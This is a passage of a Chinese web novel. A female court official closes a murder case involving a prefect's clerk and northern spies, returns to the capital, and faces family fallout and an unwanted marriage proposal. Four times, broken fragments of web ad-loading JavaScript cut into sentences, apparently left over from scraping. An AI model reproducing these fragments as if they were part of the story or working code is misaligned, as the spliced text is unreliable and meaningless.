再往后,曾观仍是没少给北栖人行方便,也想方设法讨了个主簿的位置,这一切曾莲都看在眼里,于是在母亲的冥诞当日,她决定出门为民除害,在此之前,她需得到曾观面前尽孝,还清他的恩情,往后到了地府不至于因此不得轮回。 曾观打开门,脸上溅着血迹,双手还在颤抖:“你爹爹我,不窝囊。” 他亲手杀了一个北栖人,往后也将一个个清算。 乔波倒吸一口凉气,仔细回想,去年确实死了一个主簿。再翻曾莲的诉状,她诉的是曾观害死了她的母亲,还包庇郝二十,驱使郝二十杀人放火。 望涯不觉看向曾莲。 她的诉状一递,案子就变了处境,原来是曾观草芥人命滥用职权,如今倒成了为民除害,是不得不为,他确实往衙门里塞了北栖人,可也亲自把他们一一了结,有罪,但不能是重罪,并且,曾莲顶着一副曾夫人的面孔,乔波难免会看在她的份上多加斟酌。 “这同归子衿又有什么关系?”望涯问,至于其他的,她看不明白,整个案子弯弯绕绕,莫名其妙。先是曾观不肯舍下官身携妻女远走,亦不敢反抗耶律大石,更不敢将消息透露给那么大的一个乔波,而乔波白长那么大的体格,底下波涛汹涌暗流涌动,他心里却只装着山上的灵芝,以及水里的螃蟹。 什么都不过问,什么都不知道。 曾观忽然间变得苍老,像是刚从棺材里头爬出来的:“他的大哥归子与,那年要进京赶考,却被我撞破他同朱九的私情,后来我遭郝氏兄弟要挟,偶然看见归子衿,便想到拿归子衿钓鱼,归子衿自然不肯,于是我便邀他到聚金楼去,叫他亲眼瞧瞧自家大哥同朱九的往来,他看见了,再后来,我们打了一架,我把他送进牢里,拿他大哥的前程作要挟,要他带商秀上山去。” “归子衿是怎么死的?”望涯又问。 “我推的。”曾观答。 案情已经明了,乔波看向曾莲,一时摸不清楚她为何呈这份诉状,于是问:“你的诉求是什么?” 曾莲直了直腰板:“求大人明鉴,一切按照王法 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 律令判决,切勿看在我娘的份上从轻。” 望涯一怔,原来是她狭隘了。 …… 不过才过了一日,竟已经好似深冬,夜风吹得望涯打了几个寒颤,不得不起身将窗户关紧。 文书她拿到了,至于曾观的判决,当提交大理寺。 “望司直,乔知府邀您到府上尝尝新菜。”来的是知府家的侍女,手臂上还搭着件披风。 望涯收拾完包袱,推门出来,侍女便将披风递了过去:“我们家夫人说,天气冷得突然,担心望大人衣着单薄染了风寒,在回京路上还要遭蹉跎,这是貂皮裁的,特别暖和,还请望大人笑纳。” “劳烦夫人记挂,望某铭记在心。”望涯确实冷得不想出门,只好老老实实披上了。乔波这番周折,大抵是想让她回到京里替他说说情,将案子一五一十全都还到曾观身上,顺便盖一盖知府‘渎职’的罪名。 车厢里温暖如春,甚至还备着茶点,望涯掀开帘子,一旁的侍女也转头问:“大人有何吩咐?” “你可知道曾夫人的姓名?” 侍女思索片刻,最终摇头:“回大人,不知。” 到了乔波府里,又是流水一般的席,桌上琳琅满目,四处点着灯火,恍如白昼。 “望司直明日便要启程?”乔波往前探了探身子。 “是也,商秀的案子实在是催得紧。”望涯手上捧着暖炉,身前的灵芝鸡汤散发出阵阵香气。 “走得匆忙,没来得及好好备菜,望司直何时再来,一定要提前知会本官,本官好给你安排最应季的美食。”乔波笑道,担心望涯没听懂,犹豫一二后,还是端起鸡汤,道:“那就请望司直手下留情啦。” 望涯也捧起碗回敬:“食君之禄,忠君之事。” 乔波喜笑颜开,以为望涯说的是手里头的鸡汤,实际上她说的‘君’指的是赵俨,她领着朝廷的俸禄,自然就得替朝廷办事,当然,这个误会就是制造给乔波听的,否则今日她恐怕不好轻易离开。 吃饱喝足后,望涯又乘上知府的马车回衙门,正是昏昏欲睡时,马车却忽然停下。 望涯正要查看,窗外的侍女先道:“大人,是前头有人犯夜被衙差拿了。” “那是……曾莲?”望涯掀开帘子看了半晌,隐约辨出来,接着下车。 “望司直。”衙役朝望涯行礼,再看看不远处挂着知府家牌子的马车,连忙解释道:“此女犯夜惊扰,正要缉拿。” “你出来做什么?”望涯问。 曾莲手上挎着个竹篮,里头盖着块麻布,望涯打眼一看便知道里头装着的是香烛纸钱,果然,曾莲道:“来给归家兄弟烧几炷香,毕竟是我爹做的蠢事。” “这也不是什么大不了的事,下不为例。”望涯发话,衙役们也只好睁一只眼闭一只眼,将她放了。曾莲谢过望涯,转身正要离开,却听她问:“且慢,长路漫漫,你陪本官走一程罢。” 又从钱袋子里拨出碎银赏给衙役:“天气寒冷,请诸位喝碗羊汤。” “多谢望大人!” 衙役走后,望涯解下披风交还知府的侍女,不等对方发问,她先道:“感念夫人好心,然而公务在身多有不便。前头再有一小段路就到衙门了,本官自己走走就好,姑娘请回吧,路上多加小心。” 侍女犹豫一二,终是收了披风,转而将手里的灯递给望涯:“大人慢走,当心脚下。” 于是,路上只有望涯以及曾莲了。 曾莲跟在后头,莫名有些紧张,直到望涯问:“敢问令堂名讳。” “花独义,字悠然。” 91.回京 望涯果然着了风寒,头昏脑涨,脚步虚浮,但她仍是起了个大早,挣扎着爬到乔波跟前,提出想看看府志。 乔波原本都是晌午才到衙门的,今日来得早是为给望涯送行,还装了满满一箱的山货,怎料临走之前她还有事情要办。 “实不相瞒,下官正在编写一部天下录,目前只记了经安府。好不容易来一趟人杰地灵的临江府,却没有充足的时间好好体会,只好斗胆朝大人借看府志。”望涯确实在筹备写下这样的书,她到过哪儿,便要把那儿记下来,那边有什么风景,有什么吃食,有什么人,都记,她如今最大的心愿,便是在临死前把这本书写完,最好能有七尺厚,那样便死而无憾了。 “好好,来人呐,拿最新的册子来。”这也很合乔波的心意,府志上记录的除去风土人情,还有每一任知府的‘丰功伟绩’,虽说含有不少水分,但只要看的人够多,也能成为事实。 等望涯看了他的功绩,回京便能更加诚实地替自己盖一盖‘渎职’的罪过了。 望涯小心翼翼接过,似有目的地翻看,边翻还不忘拍拍乔波的马屁:“知府大人殚精竭虑,上任以来当真是政通人和百废俱兴啊……” 乔波笑得开怀,正要客气,望涯却话锋一转,她找到了记着曾夫人事迹的章节,字里行间写的确实是曾夫人的事迹,却从头到尾都用‘曾夫人’代称,关于她身份的,一个是‘花氏之女’,另一个是‘曾观之妻’,通篇看下来,竟能叫人无意识的把花氏,以及曾观代入到这些事迹中,而花独义倒像是个局外人了。 “只是……曾观已然被打入监牢,再用他的姓氏记录此大事,实在是玷污了临江府志,有损大人清名啊。”望涯叹道。 乔波一怔,将脑袋凑近一看,还真是,于是道:“那把曾观剔出去。” 望涯一怔,将册子交还到乔波手中:“曾夫人未出阁时名为花独义,何不直接记其姓名,否则万一她娘家再出什么幺蛾子,岂不是还得再翻出来改?” 乔波点点头,深以为然:“望司直果真聪慧过人。” 事情办妥后,望涯启程了。 乔波看着远去的车马,心头竟涌起一阵淡淡的忧伤,没了曾观,望涯也走了,这不就没人陪他品美食,赏月色了吗。 “大人,这是……” 侍女发现了一个沉甸甸的钱袋,是望涯留下的。 …… 望涯回到京城时刚好是晌午,天气晴朗,竟又回了暖。 她回到住处沐浴更衣,接着揣上公文,预备到大理寺复命,途径她命运多舛的宅子,发现已经修缮完整,可用的材料都不是自己先前订的,要比那些贵上许多,她甚至一度怀疑这不是自己的宅子,在门口走了两个来回,确认上头挂着的确实是‘望宅’二字。 忽然传来一阵脚步声,循声望去,是有人正在艰难地拖动一大棵翠柏苗,沿途留下一道土痕。 那人停在望宅门前,自顾掏出钥匙解下锁头,接着继续吭哧吭哧搬起那棵扑簌簌掉叶子的翠柏,并未注意到驻足的望涯,直到望涯倚着门框,笑道:“夜入人家,按律当笞四十,你这是在青天白日里擅入人家,这该如何判呢。” 贺微闻声回头,也顾不上手里的松柏了,径直扑向望涯:“你回来啦!” “对呀,原本是要更早一些的,可案子忽然有些波折。” 贺微嗅见望涯身上淡淡的熏香,便问:“你沐浴过了?” 望涯点头,咧开一口大白牙,笑道:“得去大理寺复命,总不能蓬头垢面的去。微姐,我得走了,正好赶上会食。” “那里头能有什么好吃的,你今儿早点散衙,到家里来给你接风洗尘。”贺微心里很快列了几道菜,誓要把她补得身强体壮。望涯走出两步路后又折返,指了指倒在地上的小树苗:“这个等我回来再弄,太沉了。” 她算得不错,确实正好赶上会食,同时她也算错了,张行简不是好人,他不用吃饭。 张行简瞥了眼望涯,开始翻看厚厚的文书:“看来临江府的吃食不错,你竟圆润了一些。” “确实不错。”那是相当的好啊,望涯看看张行简,不由得肺腑,看来大理寺的吃食不怎么样,他非但消瘦了两圈,甚至像是有七八年没合眼了,想来是被张仁昌蹉跎的。 “去吧,会食后过来找我。” “好。”望涯起身,乐呵呵吃饭去了。 到了廊下,大多数人已经吃得差不多,收拾收拾走了,零星几个还在边吃边谈。望涯盛了饭到东廊坐下,正要大快朵颐时,有人将饭碗放到跟前,又持筷要抢她的菜,她一怔,看清来人后一时无语,此举是他做的也算合理。 林昭道:“怎么消瘦了?” 望涯将菜往他跟前推了推,低声问:“周熙的案子怎么样了?” “他已经结案,至于礼部那位,我看也快了。”林昭正要夹菜,那盘子却遭对面一拖,望涯又问:“此话怎讲?” 他干脆放下筷子:“查得一清二楚,那可捞了不少银子,你老师东奔西走也无济于事,再有,同年落榜的书生闹了好几天,具呈诉状,要求彻查。你回来得正好,估摸着待会儿就能有决断了。” 望涯最后将碟子推到林昭跟前,林昭又问:“以后怎么办,你老师没了靠山,想来你也不会好过的。” “你猜我此前是去做什么。” “做什么?” “商秀的案子。” 林昭恍然大悟,没了一个张仁昌,张行简还有一个姓商的亲舅舅啊。 “再说,要是商氏靠不住,我就到莫大人家门口哭,求他收留。”望涯是认真的,她自问在官场上没做过对不起那顶官帽的事,甚至有点小小的功绩,也认真求学,莫时看她也有些顺眼,大抵是不会袖手,看着她在官场里‘溺毙’的。 “有道理,到时候我也帮你哭上两声,凭咱们在经安府那段患难与共的日子,我想莫大人不会忍心弃你于不顾的。” “多谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 林兄。” “不客气。” …… 会食后,望涯去找张行简了。 “北栖人已经进到临江府衙了么……”张行简怀疑是自己看错了,将文书从头到尾看了两遍才敢确认。 “是。这只是曾观的案子,谁又知道府衙里还有没有第二个曾观呢。”这正是关键所在,同理,其他州府也可能会出现这样的情况,北栖人无孔不入,由得夏珏庇护,恐怕早已生根在宣庆朝的土地上了。 屋外的纪新正在朝大理寺奔走而来,也顾不上什么礼仪了,进屋就道:“大郎,诏书下来了。” 张仁昌被贬为榆州团练副使,张行简扣俸一年,停职三月。 望涯起身,张行简愣神片刻,随即将文书收拢好:“另一位少卿还未选定,此案便由大理卿审理。” “是。”望涯应下。 便见张行简起身,抄起公文就要去找王驰,走了几步又回头:“你等在此地。” “好。” 望涯等了许久,正要睡着时,张行简回来了,手上的文书已经交到了王驰手里,他是回来收拾东西的,虽说只是三个月,可也得营造出一种凄凉模样,否则叫旁人看见这不痛不痒的惩罚,少不得又要就此做文章。 边收拾还不忘训话:“这段时间你就跟着王大人行事,好好听他的话,不要惹是生非,记得收一收你的狗脾气,否则我不一定捞得动你,听见了吗?” “大人尽管放心,下官近来修身养性,脾气好得很。”望涯自以为脾气好得很,到他嘴里倒像是见一个咬一个的疯子。 “张清怎么办?”她问。 “没大没小。”张行简从博古架上拿下本书,将它同其他物件放到一起:“先前她说不想离京,颂今便想着,让她称病住到道馆里去,只要她行事别太张扬,大抵不会有人留意。” 实际上这也无需操心,张清和张羡之差不多,行事稳妥,礼数周全,不似望涯,让她往东,倘若她不喜欢,就一定要往西,顺手还能将指南砸个稀碎,然后反问,哪边是东?心之所向才是东。 并且,没有人会留意一个张清的去留,走也好,不走也罢,就如同张岁初一样,死也就死了,小娘的女儿罢了。 收拾完毕,张行简理了理衣袖:“送我走一程。” “好。” 于是望涯跟在他后头,送他上了马车,张行简还想交待些什么,却又觉得自己太啰嗦,担心惹起望涯的逆反心,于是住嘴。 送完张行简,望涯便往回走,走着走着,看见远处徐徐走来一人影。 是张仁昌。 张仁昌不觉睁大双眼,满眼愕然,这不是张弃吗?! 望涯略微一怔,随即朝他行礼,接着转头,朝大理寺走去。 如今她的官阶可比张仁昌要高出许许多多,肯行礼是不想让人诟病自己不‘尊师重道’,是不懂礼仪的‘相鼠’。 张仁昌驻足,看着望涯的身影渐行渐远。 92.枷锁 唯安肩上扛着口麻袋,一路小跑着蹦进门槛,接着将袋子往地上一放,里头哗啦啦响了几声。 望涯散衙回来换了常服,恰好佟管事将她带回来的山货分了分,一些补身体的留给谭八以及应颂今,再有书坊的老刘,另一些干果吃食则给贺家以及几位同僚留着。 “您看看有没有喜欢的,也给自己留些。” 望涯低头理着衣裳,便听佟管事笑道:“是留了一些,预备晚些给您炖了补一补的。” “我有什么好补的,身强体壮。” 为了展示自己的实力,望涯原地打了两招五禽戏,逗得佟管事笑得直不起腰,忽然听见哗啦啦的声响,转头便看见忙活得满头大汗的双儿。 “小望大人!” 话音未落,唯安同小野猪一般扑进望涯怀里,差点把身强体壮的小望大人拱到地上。 望涯稳了稳身形,熟练地拿手巾给她抹脸:“这是做什么去了,怎么又是满头大汗。” “捡石子儿去了!” “要石子做什么?” “铺地!” 望宅的一砖一瓦都是大家一点点凑出来的,孔灼出一些,梁佑生出一些,甚至连何宝驹都送了些瓦片,汤饼铺子的伙计也有份。唯安正发愁自己该送些什么时,便听贺微说要给望涯把园子重新修整,需要用到河边圆圆的石子,于是乎,她连着起早贪黑三日,一点一点往宅子里运,方才运了一趟回来,听见望涯回来了,便径直往这儿来,正好遇上了。 “什么?” 望涯不解。 唯安摇摇头:“总之就是有用,小望大人要出门么?” “嗯,去找微姐。对了,谭八近来如何?” 望涯俯下身打开那口袋子,里头装了小半袋圆溜溜湿哒哒的石子。 唯安一怔,半晌后才道:“前阵子他爹爹去了,如今已经过了头七。” …… 屋子里静悄悄的,外头已经快要天黑,只留下一抹正在消逝的夕阳,很快,连它也消失殆尽。 角落里的谭八动了动,望涯给他的钱还有很多,足够他省吃俭用地活上好几年了,但他就是觉得没意思,原先是想拿银子给谭七治病,如今人没了,要那么多银子有什么用。 外头忽然响起一阵敲门声,谭八犹豫许久才起身开门。 来人是望涯,她比先前看起来又好了许多,清风霁月,如同翠绿的竹子,大抵已经是站在青云上的人物了。 “你还好吗?” 她问。 谭八点点头:“劳烦大人挂心,我很好的。” 望涯将手里的锦盒递给他:“这是从临江府买回来的药材,佟大娘说能炖出一锅十全大补汤,我也不知道怎么炖,你要是不会,就去找佟大娘请教请教。” 按理来说,谭八应该双手接过,再行一个大礼,可如今他只有一只手了,刚要行礼,望涯就将他提溜起来,正如很久以前,他在雪地里给她磕头,她也是这般把自己提起来的。 “过几日再来看你,有什么需要就来找我,找不到我也可以找唯安,听见没?” 望涯嘱咐完便提着灯笼离开了,谭八就在原地,直到那点灯火彻底消失在巷口,四下陷入一片漆黑。 忽然间起了一阵风,他终于回到屋子里,点了烛火,开始思考该如何炖出一锅十全大补汤。 …… “大娘!” 望涯朝贺川一礼,又将锦盒递了过去,还是那番话:“这是从临江府买来的山货,好吃的。” 贺川接过,笑道:“临江府的山货天下闻名,跟着咱们小望大人是有口福了。” 又将望涯往厅上推:“快,阿微忙活了大半天,给你盘算了一大桌,要是吃不完你就别想走了。” 与此同时,尚书府里是一片死寂。 张仁昌从皇城里头出来后便在屋子里闭门不出了。 霍颖同样心如死灰,张渊在一旁哀嚎了半天,终是被张羡之打了出去。 “就是苦了你,此去榆州,离京千里万里,那周家不知会不会反悔。” 霍颖眼见就要流泪,张羡之握了握她的手:“原先爹就还在丁忧,离婚事还有一年多,况且大哥还留在京中,说不准到时候就能官复原职了。再者,倘若因此周家要退婚,岂不正好看清他们的嘴脸,否则真要嫁进去了,有的是苦头吃。” 霍颖不作声,周氏再如何,如今也是比她家好的,万一此去再也回不来,她的女儿岂不是就要嫁在榆州了? 万万不可。 “娘去求求你大哥,叫他想办法把你留在京城。” 话音未落,霍颖便站起身来往外走,张羡之却不依,抬手把她拦住:“娘,女儿就想跟着你,京城也好,榆州也罢,日子都是一样过的。” “傻孩子,那是苦日子,如何能一样?!” “怎么不一样?双亲健在,况且爹也不算是一无所有,不是还有官身么?” 张羡之甚至想到榆州去,京城里有什么看头呢,倒不如从前在地方上过得轻松自在。 很久后,霍颖总算松口:“罢了罢了,你去看看老人家罢。” 然而等张羡之一走,她就到张行简的院子里去了,到了发现应颂今不在,她正在打理新宅子,等张仁昌他们启程榆州,张行简夫妇便搬进新宅子里了,否则住在尚书府也不像话。 “母亲。” 张行简起身,他早也料到霍颖会来,不是托张渊就是托张羡之,然而无论是谁都他都不会应下的,毕竟留京的已经有了一个张清,要是再留一个嫡出的孩子,那还贬什么官呢?大家一起抗旨好了。 “大郎,此番我来呢,是想着问你,能不能让你妹妹留下,要是真去了榆州,就是怕周氏变卦呀。” 霍颖轻声轻语,在这个节骨眼上也不想再同张行简发脾气了。 张行简将茶盏递过去:“您是想抗旨?” 这么大一口锅压下来,镇得霍颖欲语凝噎:“你当真没有法子了?称病也好,金蝉脱壳也罢……” 她越说,张行简的脸色就越沉重,最后才道:“母亲糊涂了,这不是儿戏。” 霍颖终究没有从张行简手里挖到让张羡之留京的法器,然而在回院子的路上却听闻张清病了,说是要到道观里头休养。 “病得这么巧?这是拿我当傻子骗呢!” 于是调转方向,又闹回到张行简面前:“向来你都是偏心庶出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,在这样的事情上你竟也这般护着她,你同羡之才是嫡出的张氏子!张清算个什么东西,还是她拿什么东西哄骗你了?” 张行简不语,霍颖想不明白,他也不想多费口舌去说服,左右在她嘴里都会落得个‘偏心’以及‘不孝’的牌匾。 他这样办,倒把霍颖气得不轻,每回都是如此,从小便是如此,一不如他的意就不肯说话,犟得堪比十头野牛! “张清不走,羡之也不能走。她不是病了吗?家姐留下来‘照顾’她也是应该的!” 霍颖的脾气也好不到哪里去,既然如此,大家闹个鱼死网破好了,都别走,全家人一齐杀头。 这样的局面还是张羡之闻声而来才得以终结,张行简却把她单独喊了过来。 “羡之,我不是这个意思。” 张行简脸上难得有了几分愧疚。 “哥,我明白的,阿清的处境,留在京里比去榆州好,我却是一样的。娘一时心急,要是她说了什么不好的话,你别同她计较。” 张羡之不想理会张行简同张清打的是什么算盘,更不在乎是否能留在京城,她只想跟在霍颖身边好好过日子。 “嗯,到了榆州你好好侍奉双亲,大哥会尽快接你们回来的。” 这厢说定了,霍颖那头却还未罢休,她找上了张清,然而闻真将脸色一甩,手头上的活计并未停下,一面略带敷衍地回:“二娘方才出门去了。” “去哪儿了?” “不知。” 闻真此时一肚子火气,霍颖方才在张行简院子里一通胡闹,全被张清听进了耳朵里,她什么也没说,只攥了攥衣袖,半晌后才说自己要出门一趟。 霍颖一坐:“那我这主母就在这儿等她,等她回来!” 她认定张清是心虚不敢面对才躲起来的,那丫头一定还在府中,她为何留京?司马昭之心罢了!当初就见她看见周家郎君时的眼色,恨不能立马就嫁进去,在此时串通张行简留京,可不就是要取而代之吗? 想得美! 然而等到天黑都没见到人影,闻真不得不提灯去找,刚迈出门槛便看见张清的身影了。 “二娘!你上哪儿去了,大娘子在你院子里等着呢。” 一边说着话,一边看见张清戴着头巾,脸色有些苍白:“你这是?” “先进去罢,我去见见母亲。” 霍颖终于等到张清了,彼时张羡之也在,她正在规劝霍颖不要惹事,忽然听见一阵脚步声,回头就看见闻真掌灯,身前是脸色煞白的张清。 张清走近,话还未说便‘扑通’一声跪下:“女儿不孝。” 霍颖一怔,正要询问,就看见张清将头巾摘了下来。 “你……这是……” 霍颖站起身来,满脸不可置信。 “女儿即日起,便不再是张氏女,而是惠慈庵的尼姑了。往后是死是活都由自己做主,不会给张氏拖累。” 她并不是真心想出家,甚至连佛经也背不明白,女尼替她削发时还悄悄哭了许久,但她还是这么做了,只是为了留在京城里,且不给张行简拖累,不欠他人情,不落人口舌。 最主要的是,从今往后,她是真正的没有枷锁了。 93.休沐日 望涯喝得脑袋发昏脚步虚浮,在背了好几篇不知所云的文章后,终是趴在贺微膝上沉沉睡去。 翌日。 天边刚笼罩上一层深蓝,房门就有了动静。 望涯不得不早起,她还得到大理寺当职,于是蹑手蹑脚起身回到住处,换上官袍,再揣上几个饼子,见王驰去了。 “王大人不在。”房门前洒扫的小吏说,望涯又问原由,他有些不耐烦,将抹布丢进水里胡乱搓了一顿:“还能为什么,又病了呗。” 他这么一说,望涯才想起来这确实是王驰的作风,三天病两回,先前夏珏案子里算是运气好,奇迹般地康健了好些时候。于是作罢,开始盘算着散衙后提上礼品登门拜访。 “虑之。”黄寻路过,再早些时候他也来找过王驰,同样是无功而返。 “绍辉兄。”望涯这才发觉有好些时日没见过黄寻了,于是二人一道走了一程。 “听说临江府的案子有些复杂?”黄寻看了卷宗以及公文,是很复杂的,还涉及到一府通判,往后还要将这位通判提到大理寺来审问,只是张行简不在,王驰又病着,许多章程就都走不通了。 “是,北栖太猖獗。”望涯不由得想起沈定西,据说他们传来过一份捷报,赵俨龙颜大悦,一挥手,赏赐就同流水般涌进沈府,让沉寂多年的沈府再次门庭若市。 黄寻叹出一口气,忽然想起什么:“近来洪春和柳丰可有书信于你?” 望涯摇头,拢了拢衣袖,感觉这两位像是很久以前的‘故人’了:“没有,他们还好吗?” 黄寻一笑:“洪春还是老样子,一封信里有六成是在骂骂咧咧发牢骚,最后才是一大段问好,也总有让我代他向你问好的,只是你我忙忙碌碌,总是错过。至于柳丰,字里行间的倒是比从前稳重不少,偶尔提起你同宋知,也说怀念从前呢。” 二人一路走着,秋风乍起,卷起几片细碎的枯叶在地上盘旋了几个来回。黄寻又想起一件事情了:“对了,过几日休沐,你同我一道给石寺丞贺喜去。” 望涯又是一头雾水:“石寺丞有什么喜事?” “又有儿子啦,晚些时候大抵就会四处派帖了。” “成。” “那就说定了。”黄寻走后,望涯回到自己的屋子里。何宝驹不在,梁佑生告假,其余的也各忙各的,唯有望涯闲得发慌,只好读书。 如此过了几日,便是休沐的时候了。 望涯趁着天气好,将窝挪回了修缮好的望宅,又照着贺微抄录的单子备了些礼,一一将修缮宅子的人情还回去,这还没完,除去石寺丞的喜事,另外又有同僚的母亲过寿,同样是要备礼的,再有王驰重病,还得寻个良辰吉日前去探望,免不了又要备礼。 一套流程下来,她竟比当官前还要穷。 天底下哪有这个道理的!? 一旁的贺微算盘打得噼里啪啦,出海的货物凑了六成,其余四成就等贺川同商会的人协商,要是谈得下来就能运货到新州了,若是谈不下来,拿这六成的货也能走。至于船只,她决定暂时租借船坊的,否则要是重新造一批,恐怕得等到明年冬天才能下水,后面夏天才回本金。 望涯仰头看着重重乌云,忽然听见一阵动静,是小贝在追逐一只灰扑扑的蛾子,不仅没扑到,反倒在草地上翻了两个前滚,最后一个摆尾,将才植好的翠柏扇得歪斜。 “嚯!武学大师。”望涯由衷叹道,转头看向贺微:“把它送到北疆打仗如何?” 贺微放下算盘,将狗捞进怀里,秋收似的从它身上摘下数不清的草籽:“我看极好,说不定还能当个小将军。”她将丰收的草籽递给望涯,望涯再随手一撒,便听贺微笑道:“人家是嫌杂草多,你是嫌杂草少,怎么,还想在这儿养匹马不成?” “好主意。” 贺微撒手,‘小将军’便重获自由,不消片刻又是一身杂草了。 “对了,你不是吃喜酒去了么,怎么这么快回来?” 望涯弯腰从地上捡起一颗圆滚滚的石头把玩:“一言难尽。”细说起来,这算是她头一回参加同僚间的宴席,结果却不怎么美好,甚至叫她心里发怵,倘若还有下回,必是要斟酌斟酌的。 望涯是同黄寻一道去的,刚开始还一切正常,贺礼,唱祝词,看小孩抓周,接着就是同僚间相互敬酒,正当她要敞开肚皮吃席时,有一嘴角长痦子的男人举着酒杯过来了。 她不认识,面上从善如流,接受了他的一通马屁,再按章程谦虚上两个来回,心里已经琢磨出来他的下一步了。 果然,他开口道:“望司直可曾许配人家?” 黄寻一怔,随即将他推得后退几步,正要骂人,就听望涯笑道:“未曾。” 男人两眼放光,拨开黄寻继续道:“犬子也尚未婚配,来来来,快滚过来!”顺着他的方向看过去,有一同他一个模子刻出来的人羞红着脸过来了,仔细一看,就连嘴角的痦子都是一模一样。 “犬子虽不能说才高八斗,却也能同望司直般配,郎才女貌呀!望大人您看,何时登门下聘好呢?” 四周瞬间安静下来,连礼乐也变得混乱,听不懂人话的小儿也朝这边递了目光。 石寺丞心里悄悄开了花,这桩姻缘要是成了,那他也算是望涯的夫家亲戚,说不定还能跟着升官发财。 话音落下,众人都想看望涯的回答,然而只见她的脸上一点点覆上阴霾,最后气极反笑:“你觉得,本官,同你家小犬,般配?” 此话一出,石寺丞顿感不妙,他的升官发财梦就此破灭。 他拨开双痦父子,对望涯道:“望司直莫气,此事是太过唐突……” “本官问话,你答是不答?”望涯并不理会石寺丞,然而此间所有人的官阶细数下来,就属他最大,望涯在里头不过是个小虾米,按理来说,上司在场,她不能失礼,更不能因此搅乱了上司家的喜事,但她忍不了。 石寺丞也顾不上什么官阶大小了,他在朝中孤苦伶仃无依无靠,望涯可是有好几个靠山的,就算张行简如今 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被停职,可三个月后呢?或许也要不了三个月他就该收拾收拾滚回老家去了。 “还不快给望司直赔礼道歉!?” “望大人赎罪,方才是老朽眼拙,口出狂言不知所云!” 望涯的脸色这才稍稍缓和,转头同石寺丞道:“实在不是有意打扰,更不是瞧不上人家,是因为下官命数不好,克夫,来一个克一个,来两个克十个。” 石寺丞抬手擦了擦额头上的汗珠,干笑道:“怎么会,不经克的男人不要也罢,这是好命数,替你清扫清扫命里的晦气啊。”他明白这是望涯给的台阶,再不下就没有了,更明白望涯是动了真格的,她方才那眼神,只在审夏珏的时候见到过! 安抚好石寺丞,望涯低头理了理衣袖:“既然如此,我就不多叨扰了,告辞。” 想必用不了多久,望司直‘克夫’的名声就能传扬出去了。 “这怎么能行!?”贺微猛然起身,满脸愤愤:“是他们不知道自己几斤几两,怎么怪到你头上!” 望涯手上盘着石头:“不这样又能怎样呢,过年我就及笄了,到时候又岂止一个痦子。倒不是说我有多貌美多有才,就是因为我那身小小的官袍,不早些断了他们的念头,往后恐怕是没有安生日子好过了。” 有多少人唾骂望涯女子当官,就会有多少人想‘纡尊降贵’将她揽到自己的屋檐下,一头是想鸡犬升天,另一头就是,当官又如何,还不是得到我家里侍奉公婆相夫教子? 贺微又猛然坐下,仍是气得满脸通红:“别说是你,就是普通人家,一旦及笄,就有人想方设法的要她的命。” “命?” “不情不愿地嫁人不就是被谋财害命吗?” 望涯默声,确实如此。 “小望大人!”唯安怀里抱着包袱,一路小跑着跨过门槛:“阿清老师出事了,您快去看看吧!” …… “少卿大人不是答应过,想法子叫你留下来吗?”宋远华皱着眉头,原先的张清留着一头乌黑柔软的头发,偶尔吹过来一阵风,她的发梢就会迎风飘扬,或是从后头照过来几尺斜阳,称得发丝像是庙里壁画上的神光,而她是逍遥人间的小仙童。 如今却是一片荒芜了。 宋远华都觉得不舍,何况张清。 “多少还是会拖累人的,况且再留在张家,要不了多久便会将我许配人家,到时候书院也难办,倒不如一刀断个干净,往后便能省去许多麻烦。”张清裹了裹头巾,心里盘算着将先前私藏的银子拿出来,看能不能想办法买个度牒。 宋远华默声,不觉攥紧衣袖:“上回望涯给了些银子,要不……” “不行,那是给学生用的。”张清反过来安慰宋远华:“我的事情自有办法,就算没有度牒,到庵里住上一年半载的,有谁敢说我不是真尼姑?” 话音未落,屋外传来一阵脚步声,听起来像是唯安的,然而说话的却是望涯:“开门。” 屋里的人面面相觑,还是张清起身开了门。